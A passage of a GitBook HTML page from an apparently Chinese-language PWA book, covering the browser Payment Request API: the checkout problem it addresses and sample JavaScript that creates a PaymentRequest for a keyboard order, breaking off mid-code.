</a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"4-web-push-api.html\">\n            \n                <a href=\"4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.7.5\" data-path=\"5-payment-request-api.html\">\n            \n                <a href=\"5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >6.5 Payment Request API</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#payment-request-api\"><b></b>Payment Request API</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\"><b></b>Payment Request API &#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;</a></li><li><span class=\"title-icon \"></span><a href=\"#payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\"><b></b>Payment Request API &#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x521B;&#x5EFA;-paymentrequest\"><b></b>&#x521B;&#x5EFA; PaymentRequest</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;\"><b></b>&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;\"><b></b>&#x7528;&#x6237;&#x786E;&#x8BA4;&#x652F;&#x4ED8;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;\"><b></b>&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#payment-request-api-&#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;\"><b></b>Payment Request API &#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</a></li><li><span class=\"title-icon \"></span><a href=\"#payment-request-api-&#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;\"><b></b>Payment Request API &#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;</a></li></ul></ul></div><a href=\"#payment-request-api\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"payment-request-api\"><a name=\"payment-request-api\" class=\"anchor-navigation-ex-anchor\" href=\"#payment-request-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"payment-request-api\" class=\"plugin-anchor\" href=\"#payment-request-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Payment Request API</h1>\n<p>&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x7559;&#x5B58;&#x6765;&#x8BF4;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x652F;&#x4ED8;&#x529F;&#x80FD;&#x5C31;&#x662F;&#x57F9;&#x517B;&#x7528;&#x6237;&#x4E60;&#x60EF;&#x7684;&#x5229;&#x5668;&#xFF0C;&#x4E00;&#x65E6;&#x7528;&#x6237;&#x4E60;&#x60EF;&#x4E86;&#x5728; Web &#x7AD9;&#x70B9;&#x4E2D;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x652F;&#x4ED8; API &#x8FDB;&#x884C;&#x8D2D;&#x7269;&#x7B49;&#x6D88;&#x8D39;&#x6D3B;&#x52A8;&#xFF0C;&#x90A3;&#x4E48; Web &#x7AD9;&#x70B9;&#x7684;&#x7528;&#x6237;&#x7559;&#x5B58;&#x7387;&#x81EA;&#x7136;&#x5C31;&#x63D0;&#x9AD8;&#x4E86;&#x3002;</p>\n<p>&#x867D;&#x7136;&#x76EE;&#x524D;&#x5404;&#x5927;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; Payment Request API &#x7684;&#x652F;&#x6301;&#x5EA6;&#x90FD;&#x8FD8;&#x4E0D;&#x662F;&#x5F88;&#x5B8C;&#x7F8E;&#xFF0C;&#x4F46;&#x662F;&#x8FD9;&#x4E5F;&#x4E0D;&#x59A8;&#x788D;&#x6211;&#x4EEC;&#x53BB;&#x5BF9;&#x5B83;&#x8FDB;&#x884C;&#x521D;&#x6B65;&#x7684;&#x5C1D;&#x8BD5;&#x3002;&#x672C;&#x8282;&#x5C06;&#x4ECE;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x65B9;&#x9762;&#x5BF9; Payment Request API &#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#xFF1A;</p>\n<ul>\n<li>Payment Request API &#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;</li>\n<li>Payment Request API &#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;</li>\n<li>Payment Request API &#x5B89;&#x5168;&#x6027;&#x5206;&#x6790;</li>\n<li>Payment Request API &#x7684;&#x672A;&#x6765;&#x5C55;&#x671B;</li>\n</ul>\n<h2 id=\"payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\"><a name=\"payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\" class=\"anchor-navigation-ex-anchor\" href=\"#payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\" class=\"plugin-anchor\" href=\"#payment-request-api-&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Payment Request API &#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;</h2>\n<p>&#x987E;&#x540D;&#x601D;&#x4E49;&#xFF0C;&#x5F88;&#x5BB9;&#x6613;&#x53D1;&#x73B0; Payment Request API &#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;&#x5C31;&#x662F;&#x652F;&#x4ED8;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x800C;&#x4E14;&#x662F;&#x5229;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x6765;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x3002;&#x4E0D;&#x540C;&#x4E8E;&#x624B;&#x673A; Native App &#x7684;&#x652F;&#x4ED8;&#xFF0C;&#x666E;&#x901A; PC &#x7AEF;&#x548C;&#x624B;&#x673A;&#x7AEF;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x90FD;&#x80FD;&#x4F7F;&#x7528; Payment Request API &#x8FDB;&#x884C;&#x652F;&#x4ED8;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x4E00;&#x5927;&#x4EAE;&#x70B9;&#x3002;</p>\n<p>&#x90A3;&#x652F;&#x4ED8;&#x95EE;&#x9898;&#x662F;&#x4EC0;&#x4E48;&#x5462;&#xFF1F;</p>\n<p>&#x7B80;&#x5355;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x73B0;&#x4EE3;&#x793E;&#x4F1A;&#x5F88;&#x591A;&#x4EBA;&#x90FD;&#x4F1A;&#x6709;&#x7F51;&#x4E0A;&#x8D2D;&#x7269;&#x7684;&#x9700;&#x6C42;&#x3002;&#x5982;&#x679C;&#x6211;&#x60F3;&#x5728;&#x6DD8;&#x5B9D;&#x4E70;&#x4E1C;&#x897F;&#xFF0C;&#x800C;&#x4E14;&#x8FD8;&#x662F;&#x7B2C;&#x4E00;&#x6B21;&#xFF0C;&#x90A3;&#x4E48;&#x5F88;&#x6709;&#x53EF;&#x80FD;&#x6211;&#x5C31;&#x4F1A;&#x53BB;&#x627E;&#x4E2A;&#x7535;&#x8111;&#xFF0C;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x6253;&#x5F00;&#x6DD8;&#x5B9D;&#xFF0C;&#x6CE8;&#x518C;&#x4E2A;&#x8D26;&#x53F7;&#x7136;&#x540E;&#x5F00;&#x59CB;&#x901B;&#x6DD8;&#x5B9D;&#x3002;&#x6700;&#x540E;&#x4E0B;&#x5355;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x8F93;&#x5165;&#x6536;&#x8D27;&#x5730;&#x5740;&#x7B49;&#x4E00;&#x7CFB;&#x5217;&#x4FE1;&#x606F;&#xFF0C;&#x7136;&#x540E;&#x63D0;&#x4EA4;&#x3002;</p>\n<p>&#x7136;&#x800C;&#x95EE;&#x9898;&#x8FDC;&#x8FDC;&#x6CA1;&#x6709;&#x7ED3;&#x675F;&#xFF0C;&#x8BA2;&#x5355;&#x63D0;&#x4EA4;&#x540E;&#x652F;&#x4ED8;&#x95EE;&#x9898;&#x63A5;&#x8E35;&#x800C;&#x81F3;&#x3002;&#x7531;&#x4E8E;&#x662F;&#x7B2C;&#x4E00;&#x6B21;&#x901B;&#x6DD8;&#x5B9D;&#xFF0C;&#x6240;&#x4EE5;&#x652F;&#x4ED8;&#x5B9D;&#x4E5F;&#x6CA1;&#x6709;&#xFF0C;&#x53C8;&#x5F97;&#x6CE8;&#x518C;&#x4E2A;&#x8D26;&#x53F7;&#xFF0C;&#x7ED1;&#x5B9A;&#x94F6;&#x884C;&#x5361;&#x4FE1;&#x606F;&#xFF0C;&#x7136;&#x540E;&#x6388;&#x6743;&#x8FDB;&#x884C;&#x652F;&#x4ED8;&#x3002;&#x8FD9;&#x4E0B;&#x53EF;&#x7B97;&#x4E70;&#x5230;&#x4E1C;&#x897F;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x901B;&#x4EAC;&#x4E1C;&#x7684;&#x65F6;&#x5019;&#x8FD9;&#x4E9B;&#x95EE;&#x9898;&#x53C8;&#x6765;&#x4E86;&#xFF0C;&#x800C;&#x4E14;&#x4EAC;&#x4E1C;&#x7684;&#x754C;&#x9762;&#x548C;&#x6DD8;&#x5B9D;&#x7684;&#x754C;&#x9762;&#x8FD8;&#x4E0D;&#x4E00;&#x6837;&#xFF0C;&#x6D41;&#x7A0B;&#x4E5F;&#x4E0D;&#x4E00;&#x6837;&#xFF0C;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4E5F;&#x5C31;&#x56E0;&#x6B64;&#x4E0D;&#x540C;&#xFF0C;&#x4EA7;&#x751F;&#x7684;&#x5B9E;&#x9645;&#x6536;&#x76CA;&#x4E5F;&#x56E0;&#x6B64;&#x6709;&#x6240;&#x5DEE;&#x5F02;&#x3002;&#x5982;&#x679C;&#x662F;&#x4E00;&#x4E9B;&#x7F51;&#x7AD9;&#x7684;&#x652F;&#x4ED8;&#x4F53;&#x9A8C;&#x7279;&#x522B;&#x5DEE;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x80FD;&#x76F4;&#x63A5;&#x9020;&#x6210;&#x7528;&#x6237;&#x7684;&#x6D41;&#x5931;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x975E;&#x5E38;&#x5F97;&#x4E0D;&#x507F;&#x5931;&#x4E86;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x5404;&#x4E2A;&#x7F51;&#x7AD9;&#x4E0D;&#x540C;&#x7684;&#x652F;&#x4ED8; API &#x5BF9;&#x4E8E;&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#x4E5F;&#x662F;&#x4E00;&#x79CD;&#x714E;&#x71AC;&#x3002;</p>\n<p>&#x6240;&#x4EE5; Payment Request API &#x5C31;&#x662F;&#x4E3A;&#x4E86;&#x89E3;&#x51B3;&#x4E0A;&#x8FF0;&#x95EE;&#x9898;&#x800C;&#x88AB;&#x63D0;&#x51FA;&#x7684;&#x3002;</p>\n<p>&#x7B80;&#x5355;&#x6765;&#x8BF4;&#xFF0C;Payment Request API &#x5C31;&#x662F;&#x4EE5;&#x4E00;&#x5957;&#x539F;&#x751F;&#x7684;&#x652F;&#x4ED8;&#x754C;&#x9762;&#x4EE3;&#x66FF;&#x4E86;&#x539F;&#x6765;&#x5404;&#x4E2A;&#x5546;&#x5BB6;&#x81EA;&#x5DF1;&#x8BBE;&#x8BA1;&#x7684;&#x754C;&#x9762;&#xFF0C;&#x6240;&#x4EE5;&#x6574;&#x4E2A;&#x6D41;&#x7A0B;&#x53D8;&#x5F97;&#x9AD8;&#x5EA6;&#x7EDF;&#x4E00;&#x3002;&#x586B;&#x4E00;&#x6B21;&#x6536;&#x8D27;&#x5730;&#x5740;&#x4FE1;&#x606F;&#x548C;&#x94F6;&#x884C;&#x5361;&#x4FE1;&#x606F;&#x5C31;&#x80FD;&#x5728;&#x6240;&#x6709;&#x7684;&#x7F51;&#x7AD9;&#x4E2D;&#x4F7F;&#x7528;&#xFF0C;&#x8FD9;&#x5C31;&#x662F; Payment Request API &#x6700;&#x5927;&#x7684;&#x9B45;&#x529B;&#x3002;</p>\n<p>&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;Payment Request API &#x662F;&#x65B0;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x51C6;&#xFF0C;&#x65E8;&#x5728;&#x53D6;&#x4EE3;&#x5404;&#x79CD;&#x5546;&#x5BB6;&#x7684;&#x7ED3;&#x8D26;&#x6D41;&#x7A0B;&#xFF0C;&#x63D0;&#x4F9B;&#x7EDF;&#x4E00;&#x7684;&#x98CE;&#x683C;&#x548C;&#x4F53;&#x9A8C;&#x3002;&#x56E0;&#x6B64;&#x5B83;&#x5177;&#x6709;&#x5982;&#x4E0B;&#x51E0;&#x4E2A;&#x7279;&#x70B9;&#xFF1A;</p>\n<ul>\n<li>&#x4F7F;&#x6D4F;&#x89C8;&#x5668;&#x5145;&#x5F53;&#x7528;&#x6237;&#x548C;&#x5546;&#x5BB6;&#x7684;&#x4E2D;&#x4ECB;</li>\n<li>&#x4F7F;&#x652F;&#x4ED8;&#x6D41;&#x7A0B;&#x7EDF;&#x4E00;&#x98CE;&#x683C;&#xFF0C;&#x5F62;&#x6210;&#x6807;&#x51C6;</li>\n<li>&#x9002;&#x5408;&#x4EFB;&#x4F55;&#x62E5;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7535;&#x5B50;&#x8BBE;&#x5907;</li>\n<li>&#x53EF;&#x4EE5;&#x5BF9;&#x63A5;&#x5404;&#x79CD;&#x4E0D;&#x540C;&#x7684;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;</li>\n</ul>\n<h2 id=\"payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\"><a name=\"payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\" class=\"anchor-navigation-ex-anchor\" href=\"#payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\" class=\"plugin-anchor\" href=\"#payment-request-api-&#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Payment Request API &#x7684;&#x7B80;&#x5355;&#x4F7F;&#x7528;</h2>\n<p>&#x5728;&#x4F7F;&#x7528; Payment Request API &#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x4EEC;&#x5148;&#x6765;&#x4E86;&#x89E3;&#x4E00;&#x4E0B; Payment Request API &#x7684;&#x6574;&#x4F53;&#x4F7F;&#x7528;&#x6D41;&#x7A0B;&#x3002;</p>\n<ol>\n<li>&#x5546;&#x5BB6;&#x4E3A;&#x7528;&#x6237;&#x8D2D;&#x4E70;&#x7684;&#x5546;&#x54C1;&#x521B;&#x5EFA; PaymentRequest &#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x542B;&#x91D1;&#x989D;&#x3001;&#x5E01;&#x79CD;&#x548C;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x7B49;&#x4FE1;&#x606F;</li>\n<li>&#x6D4F;&#x89C8;&#x5668;&#x786E;&#x5B9A;&#x517C;&#x5BB9;&#x6027;&#x540E;&#xFF0C;&#x5C55;&#x793A;&#x652F;&#x4ED8;&#x754C;&#x9762;</li>\n<li>&#x7528;&#x6237;&#x9009;&#x62E9;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x540E;&#x786E;&#x8BA4;&#x6267;&#x884C;&#x6216;&#x8005;&#x53D6;&#x6D88;&#x4EA4;&#x6613;</li>\n<li>&#x6D4F;&#x89C8;&#x5668;&#x53CD;&#x9988;&#x7528;&#x6237;&#x652F;&#x4ED8;&#x7684;&#x7ED3;&#x679C;</li>\n</ol>\n<h3 id=\"&#x521B;&#x5EFA;-paymentrequest\"><a name=\"&#x521B;&#x5EFA;-paymentrequest\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x521B;&#x5EFA;-paymentrequest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x521B;&#x5EFA;-paymentrequest\" class=\"plugin-anchor\" href=\"#&#x521B;&#x5EFA;-paymentrequest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x521B;&#x5EFA; PaymentRequest</h3>\n<p>Payment Request API &#x6709;&#x4E00;&#x5B9A;&#x7684;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x6240;&#x4EE5;&#x4E0B;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x90FD;&#x662F;&#x5728;&#x652F;&#x6301; Payment Request API &#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x8FD0;&#x884C;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x4F7F;&#x7528;&#x8005;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E0B;&#x4F7F;&#x7528;&#xFF0C;&#x8BF7;&#x52A1;&#x5FC5;&#x89E3;&#x51B3;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">PaymentRequest</span><span class=\"token punctuation\">(</span>\n  methodData<span class=\"token punctuation\">,</span> <span class=\"token comment\">// &#x9700;&#x8981;&#x7684;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;</span>\n  details<span class=\"token punctuation\">,</span>    <span class=\"token comment\">// &#x8D26;&#x5355;&#x4FE1;&#x606F;</span>\n  options     <span class=\"token comment\">// &#x5176;&#x4ED6;&#x6D88;&#x606F;</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;<code>methodData</code> &#x53D8;&#x91CF;&#x662F;&#x4E00;&#x4E2A;&#x6570;&#x7EC4;&#xFF0C;&#x6570;&#x7EC4;&#x5185;&#x7684;&#x6BCF;&#x4E00;&#x9879;&#x90FD;&#x662F;&#x4E00;&#x4E2A;&#x5B57;&#x5178;&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x542B;&#x652F;&#x6301;&#x7684;&#x652F;&#x4ED8;&#x65B9;&#x5F0F;&#x548C;&#x76F8;&#x5E94;&#x7684;&#x5404;&#x79CD;&#x4FE1;&#x606F;&#x3002;<code>details</code> &#x53D8;&#x91CF;&#x662F;&#x4EA4;&#x6613;&#x7684;&#x8BE6;&#x7EC6;&#x4FE1;&#x606F;&#xFF0C;&#x5305;&#x542B;&#x7684;&#x57FA;&#x672C;&#x5143;&#x7D20;&#x6709;<code>id</code>&#xFF0C;<code>displayItems</code>&#xFF0C;<code>total</code>&#xFF0C;&#x5206;&#x522B;&#x4EE3;&#x8868;&#x8BA2;&#x5355;&#x53F7;&#x3001;&#x8D2D;&#x4E70;&#x7269;&#x54C1;&#x5217;&#x8868;&#x548C;&#x603B;&#x989D;&#x3002;&#x5F53;&#x7136;&#xFF0C;<code>details</code> &#x8FD8;&#x53EF;&#x4EE5;&#x6709;&#x4E00;&#x4E9B;&#x5176;&#x4ED6;&#x4FE1;&#x606F;&#xFF0C;&#x5982;&#x5FEB;&#x9012;&#x4FE1;&#x606F;&#x7B49;&#x3002;<code>options</code> &#x53D8;&#x91CF;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x5B57;&#x5178;&#xFF0C;&#x7528;&#x6765;&#x8BBE;&#x7F6E;&#x54EA;&#x4E9B;&#x4FE1;&#x606F;&#x9700;&#x8981;&#x7528;&#x6237;&#x586B;&#x5199;&#x3002;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x793A;&#x4F8B;&#x4E2D;&#x7684; <code>options</code> &#x5C31;&#x8868;&#x660E;&#x4E86;&#x7528;&#x6237;&#x9700;&#x8981;&#x8F93;&#x5165;&#x59D3;&#x540D;&#x3001;&#x624B;&#x673A;&#x53F7;&#x548C;&#x9001;&#x8D27;&#x4FE1;&#x606F;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">createPaymentRequest</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> methodData <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">{</span>\n    supportedMethods<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;basic-card&apos;</span><span class=\"token punctuation\">,</span>\n    data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      supportedNetworks<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;visa&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;mastercard&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n      supportedTypes<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;debit&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;credit&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">let</span> details <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n    id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;order-2049&apos;</span><span class=\"token punctuation\">,</span>\n    displayItems<span class=\"token punctuation\">:</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">{</span>\n      label<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Mechanical Keyboard&apos;</span><span class=\"token punctuation\">,</span>\n      amount<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span> currency<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;RMB&apos;</span><span class=\"token punctuation\">,</span> value<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;999.00&apos;</span> <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    total<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      label<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;total&apos;</span><span class=\"token punctuation\">,</span>\n      amount<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span> currency<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;RMB&apos;</span><span class=\"token punctuation\">,</span> value<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;999.00&apos;</span> <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">let</span> options <span class=\"token operator\">=</span> <span class=\"token 